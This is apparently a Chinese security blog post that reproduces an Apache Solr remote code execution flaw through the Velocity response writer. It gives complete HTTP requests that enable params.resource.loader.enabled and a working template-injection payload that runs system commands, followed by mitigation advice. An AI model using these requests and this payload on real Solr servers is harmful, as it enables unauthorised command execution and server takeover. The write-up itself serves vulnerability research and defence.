服务热线
15527777548/18696195380
发布时间:2019-11-01
简要描述:
原创:Mature合天智汇原创投稿活动:重金悬赏 | 合天原创投稿等你来0x00 前言
今天在群里看到有人说GitHub上公布了一个关于solr的RCE漏洞,于是立马复现了一波!确定该poc是真实...
原创:Mature合天智汇
原创投稿活动:重金悬赏 | 合天原创投稿等你来
今天在群里看到有人说GitHub上公布了一个关于solr的RCE漏洞,于是立马复现了一波!确定该poc是真实有效的。
该漏洞的产生原因:
当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的请求,在服务器上进行命令执行,从而获取服务器的权限。
关于params.resource.loader.enabled的介绍:
https://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html
中文版的:
https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html
应该是影响solr5(暂不确定)到最新版本.
solr版本: solr8.2.0
操作系统:windows
可以看到显示已经启动:
这里演示下在命令行创建:
可以看到成功创建.
网页创建core可参考:
https://blog.csdn.net/weixin_39082031/article/details/78924909
可以看到已经成功创建!
获取到其core名为test.
可以看到其默认是关闭的.
POST数据包:
POST /solr/test/config HTTP/1.1 Host: 172.26.1.173:8983 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }示例:
可以看到响应包.说会在未来改变(也就是我们修改的配置一会会生效)
可以看到我们构造的请求已经成功开启了params.resource.loader.enabled
我们靶机为windows所以修改id为windows下的命令:
找一个目标:
若对应的值为false,则可以通过发送post包来将其修改为true!
POST数据包:
POST /solr/获取到的节点名/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }该参数为true后,直接使用GitHub上的poc:
select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end1、官方还暂未发布该漏洞的相关补丁,建议用户设置solr后台为登陆认证!!!
限制互联网用户对solr admin的访问!
2、删除params.resource.loader.enabled的配置。
3、时刻关注solr官方,出现新版本要赶快更新
https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
https://mp.weixin.qq.com/s/RWG7nxwCMtlyPnookXlaLA
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
如果您有任何问题,请跟我们联系!
联系我们